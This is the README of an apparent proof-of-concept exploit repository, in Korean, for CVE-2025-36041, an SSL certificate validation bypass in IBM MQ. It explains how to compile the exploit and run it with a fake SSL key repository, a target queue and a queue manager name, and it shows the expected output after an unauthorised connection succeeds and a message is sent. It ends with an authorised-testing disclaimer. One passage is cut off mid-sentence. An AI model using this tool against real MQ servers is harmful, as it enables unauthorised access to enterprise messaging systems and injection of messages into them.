
IBM MQ의 CVE-2025-36041 취약점에 대한 익스플로잇 (C)
이 저장소는 IBM MQ(메시지 큐)의 SSL 인증서 검증을 우회할 수 있는 취약점 CVE-2025-36041에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 가짜 SSL 인증서를 주입하고 사용자 정의 MQCONNX 매개변수를 사용하여 IBM MQ 서버에 대한 무단 클라이언트 연결을 설정할 수 있습니다.
"Hello MQ")를 보내 성공적인 익스플로잇을 확인합니다.IBM MQ 클라이언트 라이브러리가 설치되어 있고 환경 변수(MQ_INCLUDE_PATH, MQ_LIB_PATH)가 적절히 설정되어 있는지 확인하십시오.
gcc exploit.c argparse.c -o CVE-2025-36041
-I/path/to/mqm/include
-L/path/to/mqm/lib -lmqm
./CVE-2025-36041
-p /path/to/fake/ssl
-n TARGET.QUEUE.NAME
-m QM1
매개변수:
-p, --path 가짜 SSL KeyRepository 디렉터리 경로입니다.-n, --name 열고 메시지를 보낼 대상 큐 이름입니다.-m, --qmgr 큐 관리자 이름입니다../CVE-2025-36041 -p ./fake_ssl_repo -n MY.QUEUE -m QM1
If successful, you will see:
[+] Starting connection to IBM MQ... [+] Connected successfully with fake SSL! [+] Message sent successfully!
승인된 침투 테스트 및 교육 목적으로만 사용하십시오. 이 PoC의 무단 사용은 현지 법률 및 규정을 위반할 수 있습니다. 저자는 오용에 대한 책임을 지지 않습니다.
저자: Byte Reaper CVE: CVE-2025-36041